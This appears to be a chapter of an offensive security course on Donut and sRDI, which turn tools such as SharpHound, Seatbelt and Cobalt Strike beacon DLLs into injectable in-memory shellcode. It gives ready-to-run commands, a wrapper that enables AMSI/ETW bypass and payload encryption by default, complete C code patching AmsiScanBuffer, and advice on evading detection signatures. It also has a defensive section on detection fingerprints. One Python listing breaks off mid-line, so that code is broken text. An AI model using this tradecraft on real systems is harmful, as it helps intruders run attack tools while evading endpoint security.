Chapter 228

Donut and sRDI

You've built shellcode by hand — PEB walk, API hash, custom encoding. Now you need to run things you didn't write from scratch: a .NET assembly, a PowerShell script, a compiled EXE, someone else's tool. That's what Donut and sRDI solve. Donut converts arbitrary PE files and .NET assemblies into position-independent shellcode with CLR hosting. sRDI converts DLLs into reflective shellcode. Both tools produce output that can be injected exactly like hand-crafted shellcode. This chapter explains how each tool works internally, how to use and customize both, and what detection each leaves behind.

The Problem Each Tool Solves

What Donut and sRDI convert, and why
  STARTING POINT: You have a tool or payload as a compiled binary.
  ─────────────────────────────────────────────────────────────────
  Examples:
  • Mimikatz.exe — compiled EXE (native, x64)
  • SharpHound.exe — .NET assembly (C#)
  • My_beacon.dll — custom compiled DLL
  • PowerSploit.ps1 — PowerShell script
  • MyTool.NET.dll — .NET DLL with a specific class/method to call

  PROBLEM: You want to inject these into a running process without:
  a) dropping the binary to disk (gives AV a file to scan)
  b) running them as child processes (creates obvious process tree)
  c) spawning powershell.exe (well-monitored)

  SOLUTION: Convert to shellcode bytes that run in any injection context.
  ─────────────────────────────────────────────────────────────────
  sRDI:  DLL → shellcode via Reflective DLL Injection
         Best for: native DLLs you control the source of
         Output: ~DLL_size + 500 bytes overhead for loader stub

  Donut: EXE/DLL/.NET/PS1/VBS → shellcode via CLR hosting
         Best for: anything, especially .NET and scripts
         Output: ~target_size + CLR hosting overhead

  Both output: raw shellcode bytes ready for any injection harness.

sRDI — How Reflective DLL Injection Works

sRDI (shellcode Reflective DLL Injection, from Nick Landers and others) adds a self-contained loader stub directly into a DLL's export table. When you "inject" this modified DLL as raw bytes, execution starts at the loader stub, which maps the DLL itself into memory — without calling the OS's LoadLibrary.

sRDI process — converting a DLL to reflective shellcode
  Input:  my_dll.dll  (standard PE DLL file)
  ┌──────────────────────────────────────────────────────────────────┐
  │ .text   section: DLL code                                        │
  │ .rdata  section: read-only data, export table                   │
  │ .data   section: global variables                                │
  │ .reloc  section: relocation entries                              │
  │ Export: DllMain (the entry point)                                │
  └──────────────────────────────────────────────────────────────────┘

  sRDI conversion:
  sRDI.py / ConvertToShellcode.py adds:
  1. A bootstrap stub prepended to the raw bytes
  2. The stub's code: copies the DLL's PE image into a new memory allocation,
     walks the import table (loads each dependency), applies relocations,
     calls DllMain(hinstDLL, DLL_PROCESS_ATTACH, 0)

  Output: reflective_my_dll.bin
  ┌──────────────────────────────────────────────────────────────────┐
  │ Bootstrap stub (~500 bytes):                                     │
  │   - PEB walk to find kernel32                                    │
  │   - Resolve: LoadLibraryA, GetProcAddress, VirtualAlloc, etc.   │
  │   - Allocate SizeOfImage bytes at any address                   │
  │   - Copy section data to correct RVAs                           │
  │   - Walk import directory: LoadLibrary + GetProcAddress for each │
  │   - Apply base relocations (delta = new_base - preferred_base)  │
  │   - Call DllMain(new_base, 1, 0)                                │
  │   - Optionally: call a user function via hash or ordinal        │
  ├──────────────────────────────────────────────────────────────────┤
  │ Original DLL bytes (embedded verbatim or compressed)             │
  └──────────────────────────────────────────────────────────────────┘

  Inject this binary blob like any shellcode:
  VirtualAllocEx → WriteProcessMemory → CreateRemoteThread
# Converting a DLL to shellcode with sRDI
# Source: https://github.com/monoxgas/sRDI

# Basic conversion (DllMain will be called on inject)
python3 ShellcodeRDI.py my_dll.dll --function DllMain \
    --output my_dll_shellcode.bin

# Convert and call a specific exported function with arguments
python3 ShellcodeRDI.py beacon.dll --function ReflectiveLoader \
    --parameter "arg_string_here" --output beacon_shellcode.bin

# Check the output
python3 verify_shellcode.py my_dll_shellcode.bin null
xxd my_dll_shellcode.bin | head -20   # first 20 lines: should be stub code

# Inject using your Python harness from Ch11
python3 harness_ctypes.py my_dll_shellcode.bin
#!/usr/bin/env python3
"""
srdi_convert.py — minimal sRDI-like DLL-to-shellcode converter
(educational implementation — use the real sRDI for production)
"""

import struct, sys

def ror13(name: str) -> int:
    h = 0
    for c in name.upper():
        h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
        h = (h + ord(c)) & 0xFFFFFFFF
    return h

def pe_get_field(data: bytes, offset: int, fmt: str):
    return struct.unpack_from(fmt, data, offset)[0]

def convert_dll_to_shellcode(dll_path: str) -> bytes:
    """Add a minimal reflective loader stub to a DLL."""
    with open(dll_path, 'rb') as f:
        dll_bytes = f.read()

    # Verify PE
    if dll_bytes[:2] != b'MZ':
        raise ValueError("Not a PE file")
    e_lfanew = pe_get_field(dll_bytes, 0x3C, '

Donut — Architecture and Internals

Donut (by TheWover and v-p-b) extends the sRDI concept to handle .NET assemblies, PowerShell scripts, VBScript, and JScript via CLR hosting. It generates a shellcode blob that, when run, initializes the .NET CLR (Common Language Runtime) in the target process and loads your .NET assembly without spawning a new process:

Donut output structure and CLR hosting chain
  Donut-generated shellcode blob:
  ┌──────────────────────────────────────────────────────────────────┐
  │ Bootstrap: PEB walk, API resolution                              │
  ├──────────────────────────────────────────────────────────────────┤
  │ Donut loader:                                                    │
  │  1. Optionally bypass AMSI (patch AmsiScanBuffer)               │
  │  2. Optionally bypass ETW (patch EtwEventWrite)                 │
  │  3. Find or initialize the CLR:                                  │
  │     → Load mscoree.dll / clrjit.dll                             │
  │     → CLRCreateInstance(CLSID_CLRMetaHost)                     │
  │     → IMetaHost::GetRuntime("v4.0.30319")                      │
  │     → ICLRRuntimeInfo::GetInterface(ICorRuntimeHost)            │
  │     → ICorRuntimeHost::Start()                                  │
  │  4. Load the .NET assembly from memory:                         │
  │     → AppDomain::Load_3(assembly_bytes, evidence)              │
  │     → Assembly::GetType("Namespace.ClassName")                  │
  │     → MethodInfo::Invoke(null, args)  ← your tool runs here    │
  ├──────────────────────────────────────────────────────────────────┤
  │ Encrypted payload (your EXE/DLL/.NET assembly)                  │
  │ Donut optionally encrypts/obfuscates the payload to avoid        │
  │ static scanning of the embedded binary.                         │
  └──────────────────────────────────────────────────────────────────┘

  How CLR hosting differs from running a .exe:
  ─────────────────────────────────────────────────────────────────
  Normal .NET execution:  dotnet.exe MyAssembly.exe (new process)
  Donut:  CLR loaded IN-PROCESS by the shellcode, assembly executed
          in the same memory space as the host process.
  → No child process. No new image on disk. No process creation event.
  → The host process's memory shows the CLR loaded — suspicious if
    the host doesn't normally use .NET, but no separate process visible.
# Donut usage — source: https://github.com/TheWover/donut

# Basic: convert SharpHound.exe to shellcode, call Main with no args
donut -f SharpHound.exe -o sharpHound_sc.bin

# With arguments to Main:
donut -f SharpHound.exe -p "-c All -d CORP.LOCAL" -o sharpHound_sc.bin

# .NET DLL with specific class and method:
donut -f Seatbelt.dll -c Seatbelt.Program -m Main -p "All" -o seatbelt_sc.bin

# PowerShell script:
donut -f PowerSploit.ps1 -o powersploit_sc.bin

# With AMSI and ETW bypass built in:
donut -f SharpHound.exe --amsi=2 --etw=1 -o sc_evaded.bin

# Entropy: Donut can compress+encrypt the payload
donut -f SharpHound.exe -e 3 -o sc_encrypted.bin
# -e 3: encrypt with random key (changes on every run → unique hashes)

# Verify output
python3 verify_shellcode.py sharpHound_sc.bin null
#!/usr/bin/env python3
"""donut_wrapper.py — wrapper to call Donut and verify output"""
import subprocess, sys, os

def generate_donut_shellcode(
    input_file: str,
    output_file: str,
    args: str = "",
    class_name: str = "",
    method: str = "",
    bypass_amsi: bool = True,
    bypass_etw: bool = True,
    encrypt: bool = True
) -> bool:
    cmd = ["donut", "-f", input_file, "-o", output_file]

    if args:
        cmd += ["-p", args]
    if class_name:
        cmd += ["-c", class_name]
    if method:
        cmd += ["-m", method]
    if bypass_amsi:
        cmd += ["--amsi=2"]
    if bypass_etw:
        cmd += ["--etw=1"]
    if encrypt:
        cmd += ["-e", "3"]

    print(f"[*] Running: {' '.join(cmd)}")
    result = subprocess.run(cmd, capture_output=True, text=True)
    if result.returncode != 0:
        print(f"[-] Donut failed: {result.stderr}")
        return False

    if not os.path.exists(output_file):
        print(f"[-] Output file not created")
        return False

    size = os.path.getsize(output_file)
    print(f"[+] Shellcode generated: {size} bytes at {output_file}")

    # Null byte check
    with open(output_file, 'rb') as f:
        data = f.read()
    null_count = data.count(0x00)
    print(f"[{'WARN' if null_count else '+'}] Null bytes: {null_count}")

    return True

if __name__ == '__main__':
    generate_donut_shellcode(
        input_file="SharpHound.exe",
        output_file="sc.bin",
        args="-c All -d CORP.LOCAL",
        bypass_amsi=True
    )

Comparison — When to Use Each

Donut vs sRDI — decision matrix
  Dimension              │ sRDI                         │ Donut
  ───────────────────────┼──────────────────────────────┼─────────────────────────────
  Input types            │ Native DLLs only             │ EXE, DLL, .NET, PS1, VBS, JS
  ───────────────────────┼──────────────────────────────┼─────────────────────────────
  .NET assemblies        │ ✗ (no CLR support)           │ ✓ (hosts CLR in-process)
  ───────────────────────┼──────────────────────────────┼─────────────────────────────
  PowerShell scripts     │ ✗                            │ ✓ (via PS execution engine)
  ───────────────────────┼──────────────────────────────┼─────────────────────────────
  Output size overhead   │ ~500 bytes stub              │ Several KB (CLR hosting code)
  ───────────────────────┼──────────────────────────────┼─────────────────────────────
  AMSI bypass built-in   │ ✗ (add manually)             │ ✓ (--amsi flag)
  ───────────────────────┼──────────────────────────────┼─────────────────────────────
  Payload encryption     │ ✗ (add manually)             │ ✓ (-e 3 flag, random key)
  ───────────────────────┼──────────────────────────────┼─────────────────────────────
  Customizability        │ HIGH (edit loader source)    │ MEDIUM (donut options)
  ───────────────────────┼──────────────────────────────┼─────────────────────────────
  Detection signature    │ sRDI loader pattern          │ Donut loader pattern
                         │ (less well-known)            │ (well-known, many YARA rules)
  ───────────────────────┼──────────────────────────────┼─────────────────────────────
  Use case               │ Your own DLL, precise control│ "I need to run SharpHound
                         │ over loader behavior         │  without touching disk"

  Practical decision tree:
  ─────────────────────────────────────────────────────────────────────────────
  Is the target a .NET assembly?          → Use Donut
  Is the target a PowerShell script?      → Use Donut
  Is the target a native DLL you wrote?   → Use sRDI (smaller, more control)
  Is the target a native EXE?             → Use Donut (sRDI doesn't do EXEs)
  Do you need to customize the loader?    → Fork sRDI (easier to modify)
  Are Donut YARA sigs a problem?         → Fork Donut or write custom loader

Donut's Built-In AMSI Bypass

Donut's --amsi=2 flag patches AmsiScanBuffer in the host process to always return "clean" before loading the .NET assembly or running the script. Understanding this patch helps you implement it manually when you need it without Donut:

// AMSI bypass: patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
// This is what Donut does internally before loading .NET content.
// Works by overwriting the first few bytes of the function with a RET instruction.

#define H_AMSI_SCAN_BUFFER   0x75F6A7F9  // ROR-13 hash of "AmsiScanBuffer"

void bypass_amsi(fn_GetProcAddress pGPA, fn_LoadLibraryA pLL,
                 fn_VirtualProtect pVP) {
    // Load amsi.dll (it may already be loaded)
    PVOID amsi = pLL("amsi.dll");
    if (!amsi) return;

    // Find AmsiScanBuffer
    PVOID scan_buf = pGPA(amsi, "AmsiScanBuffer");
    if (!scan_buf) return;

    // The patch: overwrite the prologue with:
    //   xor eax, eax        ; 31 C0 (set return value to 0)
    //   ret                 ; C3    (return immediately)
    // Result: AmsiScanBuffer(buf, len, ...) always returns 0 (AMSI_RESULT_CLEAN)

    // First: make the page writable
    DWORD old_protect;
    pVP(scan_buf, 8, 0x40 /*PAGE_EXECUTE_READWRITE*/, &old_protect);

    // Write the patch
    u8* p = (u8*)scan_buf;
    p[0] = 0x31;    // xor
    p[1] = 0xC0;    // eax, eax
    p[2] = 0xC3;    // ret

    // Restore original protection
    pVP(scan_buf, 8, old_protect, &old_protect);
}

// Note: This is a simple patch. EDRs monitor writes to amsi.dll's text section.
// More robust: find the function at runtime, write to a copy in a new allocation,
// and redirect execution via a hook. See Part 7 for full AMSI evasion coverage.

Detection Fingerprints — What Each Tool Leaves

Detection signals from Donut and sRDI shellcode
  sRDI detection signals:
  ─────────────────────────────────────────────────────────────────
  • Executable memory region that isn't backed by a file (unbacked thread)
  • LoadLibraryA calls for each DLL dependency (DLL load event)
  • sRDI loader byte pattern in the leading stub (YARA rule available)
  • VirtualAlloc(size ≈ DLL SizeOfImage, MEM_COMMIT|RESERVE, PAGE_RWX)
  Mitigation: fork the sRDI loader and customize the stub bytes

  Donut detection signals:
  ─────────────────────────────────────────────────────────────────
  • CLR loaded in a process that doesn't normally use .NET:
    mscorlib.dll, mscoree.dll, clrjit.dll loading in non-.NET process
    → Event 7 (ImageLoad): these DLLs loading is a red flag
  • AmsiScanBuffer patched (EDRs watch for writes to amsi.dll text section)
  • EtwEventWrite patched
  • Donut's specific COM interface sequence (IMetaHost, ICLRRuntimeHost) in logs
  • Donut loader stub pattern in shellcode bytes (many public YARA rules)
  • Encrypted payload blob in injected shellcode (high-entropy non-module region)

  Detection-resistant alternatives:
  ─────────────────────────────────────────────────────────────────
  • Modify Donut source: change constant strings, UUIDs, COM sequences
  • Write a custom CLR host from scratch (no Donut patterns)
  • Use PPID spoofing so CLR-loading events appear from a .NET-native process
  • Inject into a process that already has the CLR loaded (Visual Studio, etc.)

Questions & Answers

Can Donut inject into a process that's already running, rather than the process executing the shellcode?

Donut generates shellcode — the shellcode runs wherever you inject it. If you inject the Donut-generated blob into a remote process via WriteProcessMemory + CreateRemoteThread, the CLR will be hosted in that remote process, not in your own. The Donut blob is fully self-contained; it doesn't matter which process runs it. The caveat is injection context: for CLR hosting to work, the target process must be able to load mscoree.dll and clrjit.dll (which are always available on Windows machines with .NET installed). If the target process is a system-protected process (PPL) or a 32-bit process on a 64-bit OS, there are additional constraints — use a Donut build that matches the target process's architecture.

How does Donut handle .NET assemblies that read from args (argv/args[])?

The Donut loader calls the assembly's entry point via reflection: it gets the Main method (or whatever method you specify with -m), creates a string[] array from the argument string you passed with -p, and invokes the method with that array. The assembly sees arguments exactly as if it had been launched from the command line with those arguments. The assembly's internal argument parsing (string[] args in C#) works normally. The key limitation: Donut splits the argument string on spaces to create the array, so arguments with spaces need quoting and the quoting behavior may differ from a real command-line invocation.

Does running a .NET assembly via Donut leave fewer artifacts than running it as a child process?

Yes, dramatically fewer. Running as a child process: new process creation event (Sysmon 1) with the full command line visible, new image load events, process tree shows the relationship between parent and child, the EXE file must be on disk for CreateProcess (unless using process hollowing). Running via Donut: no new process creation, the assembly runs in the host process's memory, no image loads for the assembly itself (only for mscoree/clrjit), no EXE file on disk. The remaining artifacts — CLR DLL loads, high-entropy memory regions — are real but harder to attribute than a plain process creation event. For blue team detection purposes, look for non-.NET processes loading mscoree.dll — it's a reliable signal that CLR hosting (Donut or similar) is happening.

Can I use sRDI to convert a Cobalt Strike beacon DLL?

Yes, and this is a very common use case. The Cobalt Strike beacon is often generated as a DLL (using the Cobalt Strike Payload Generator with the "Windows DLL" format). Running this through sRDI converts it to a raw shellcode blob that can be injected into any process using your own injector — without needing Cobalt Strike's built-in injection features. This gives you full control over the injection technique, timing, and target. The converted beacon behaves identically to the staged beacon shellcode format that Cobalt Strike normally uses. The one consideration: beacon DLLs generated by Cobalt Strike may have their own reflective loader already embedded as an export (ReflectiveLoader). In that case, you can call that loader directly instead of using sRDI.

What's the minimum .NET version required for Donut's CLR hosting?

Donut requires .NET Framework (the full Windows version, not .NET Core / .NET 5+). The CLR hosting COM interface (ICLRRuntimeHost) was introduced in .NET 4 and works through all 4.x versions. Donut defaults to loading the .NET 4.0 CLR. .NET 2.0 assemblies can often be loaded by the 4.0 CLR with appropriate compatibility settings. .NET Core and .NET 5+ assemblies use a completely different hosting model (CoreCLR) that requires different COM interfaces — Donut's default mode doesn't support them. There's active development on Donut support for CoreCLR-hosted assemblies, but as of this writing, use .NET Framework assemblies for reliable Donut compatibility.